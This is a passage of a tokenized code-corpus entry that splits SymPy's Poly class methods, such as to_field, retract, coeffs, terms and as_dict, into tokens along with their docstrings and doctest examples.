"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "to", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "to", "\\u", "ring", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "field_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "the", " ", "ground", " ", "domain", " ", "a", " ", "field", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "ZZ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "=", "ZZ", ").", "to", "\\u", "field", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "to", "\\u", "field", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "to", "\\u", "field", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "exact_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "the", " ", "ground", " ", "domain", " ", "exact", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "RR", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1.0", ",", " ", "x", ",", " ", "domain", "=", "RR", ").", "to", "\\u", "exact", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "to", "\\u", "exact", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "to", "\\u", "exact_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "to", "\\u", "exact", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "retra", "ct_", "(_", "f_", ",_", "field_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Recal", "cula", "te", " ", "the", " ", "ground", " ", "domain", " ", "of", " ", "a", " ", "polynomial", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "[", "y", "]'", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "[", "y", "]'", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "retra", "ct", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "retra", "ct", "(", "field", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "rep_", "=_", "construct", "\\u", "domain_", "(_", "f_", "._", "as", "\\u", "dict_", "(_", "zero_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "field_", "=_", "field_", ",_", "composite_", "=_", "f_", "._", "domain_", "._", "is", "\\u", "Composit", "e_", "or_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "from", "\\u", "dict_", "(_", "rep_", ",_", "f_", "._", "gens_", ",_", "domain_", "=_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "slice_", "(_", "f_", ",_", "x_", ",_", "m_", ",_", "n_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Tak", "e", " ", "a", " ", "continuous", " ", "subsequen", "ce", " ", "of", " ", "term", "s", " ", "of", " ", "``", "f", "``.", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", ",_", "m_", ",_", "n_", "=_", "0_", ",_", "x_", ",_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "j_", "=_", "f_", "._", "\\u", "gen", "\\u", "to", "\\u", "level_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "m_", ",_", "n_", "=_", "int_", "(_", "m_", ")_", ",_", "int_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "slice", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "slice_", "(_", "m_", ",_", "n_", ",_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "slice", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "coeffs_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "non", "-", "zero", " ", "coefficient", "s", " ", "from", " ", "``", "f", "``", " ", "in", " ", "lex", " ", "order", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", " ", "+", " ", "3", ",", " ", "x", ").", "coeffs", "()", "\\", "10", ";", " ", " ", " ", " ", "[", "1", ",", " ", "2", ",", " ", "3", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", " ", " ", " ", " ", "all", "\\u", "coeffs", "\\", "10", ";", " ", " ", " ", " ", "coef", "f", "\\u", "monom", "ial", "\\", "10", ";", " ", " ", " ", " ", "nth", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "c_", ")_", "for_", "c_", "in_", "f_", "._", "rep_", "._", "coeffs_", "(_", "order_", "=_", "order_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "monom", "s_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "non", "-", "zero", " ", "monom", "ial", "s", " ", "from", " ", "``", "f", "``", " ", "in", " ", "lex", " ", "order", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "monom", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "2", ",", " ", "0", "),", " ", "(", "1", ",", " ", "2", "),", " ", "(", "1", ",", " ", "1", "),", " ", "(", "0", ",", " ", "1", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", " ", " ", " ", " ", "all", "\\u", "monom", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "monom", "s_", "(_", "order_", "=_", "order_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "terms_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "non", "-", "zero", " ", "term", "s", " ", "from", " ", "``", "f", "``", " ", "in", " ", "lex", " ", "order", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "term", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "(", "2", ",", " ", "0", "),", " ", "1", "),", " ", "((", "1", ",", " ", "2", "),", " ", "2", "),", " ", "((", "1", ",", " ", "1", "),", " ", "1", "),", " ", "((", "0", ",", " ", "1", "),", " ", "3", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", " ", " ", " ", " ", "all", "\\u", "term", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "(_", "m_", ",_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "c_", ")_", ")_", "for_", "m_", ",_", "c_", "in_", "f_", "._", "rep_", "._", "terms_", "(_", "order_", "=_", "order_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "all", "\\u", "coeffs_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "coefficient", "s", " ", "from", " ", "a", " ", "univ", "aria", "te", " ", "polynomial", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", " ", "-", " ", "1", ",", " ", "x", ").", "all", "\\u", "coeffs", "()", "\\", "10", ";", " ", " ", " ", " ", "[", "1", ",", " ", "0", ",", " ", "2", ",", " ", "-1", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "c_", ")_", "for_", "c_", "in_", "f_", "._", "rep_", "._", "all", "\\u", "coeffs_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "all", "\\u", "monom", "s_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "monom", "ial", "s", " ", "from", " ", "a", " ", "univ", "aria", "te", " ", "polynomial", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", " ", "-", " ", "1", ",", " ", "x", ").", "all", "\\u", "monom", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "3", ",)", ",", " ", "(", "2", ",)", ",", " ", "(", "1", ",)", ",", " ", "(", "0", ",)", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", " ", " ", " ", " ", "all", "\\u", "term", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "all", "\\u", "monom", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "all", "\\u", "terms_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "all", " ", "term", "s", " ", "from", " ", "a", " ", "univ", "aria", "te", " ", "polynomial", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", " ", "-", " ", "1", ",", " ", "x", ").", "all", "\\u", "term", "s", "()", "\\", "10", ";", " ", " ", " ", " ", "[(", "(", "3", ",)", ",", " ", "1", "),", " ", "((", "2", ",)", ",", " ", "0", "),", " ", "((", "1", ",)", ",", " ", "2", "),", " ", "((", "0", ",)", ",", " ", "-1", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "(_", "m_", ",_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "c_", ")_", ")_", "for_", "m_", ",_", "c_", "in_", "f_", "._", "rep_", "._", "all", "\\u", "terms_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "length_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "number", " ", "of", " ", "non", "-", "zero", " ", "term", "s", " ", "in", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "-", " ", "1", ").", "length", "()", "\\", "10", ";", " ", " ", " ", " ", "3", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "len_", "(_", "f_", "._", "as", "\\u", "dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "as", "\\u", "dict_", "(_", "f_", ",_", "native_", "=_", "False_", ",_", "zero_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Switch", " ", "to", " ", "a", " ", "``", "dict", "``", " ", "represent", "ation", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "-", " ", "y", ",", " ", "x", ",", " ", "y", ").", "as", "\\u", "dict", "()", "\\", "10", ";", " ", " ", " ", " ", "{(", "0", ",", " ", "1", "):", " ", "-1", ",", " ", "(", "1", ",", " ", "2", "):", " ", "2", ",", " ", "(", "2", ",", " ", "0", "):", " ", "1", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "native_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "to", "\\u", "dict_", "(_", "zero_", "=_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "to", "\\u", "symp", "y", "\\u", "dict_", "(_", "zero_", "=_", "zero_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "as", "\\u", "list_", "(_", "f_", ",_", "native_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Switch", " ", "to", " ", "a", " ", "``", "list", "``", " ", "represent", "ation", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "native_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "to", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "to", "\\u", "symp", "y", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "lift", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Convert", " ", "algebra", "ic", " ", "coefficient", "s", " ", "to", " ", "rational", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "I", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "I", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "extensi", "on", "=", "I", ").", "lift", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "+", " ", "3", "*", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "lift", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 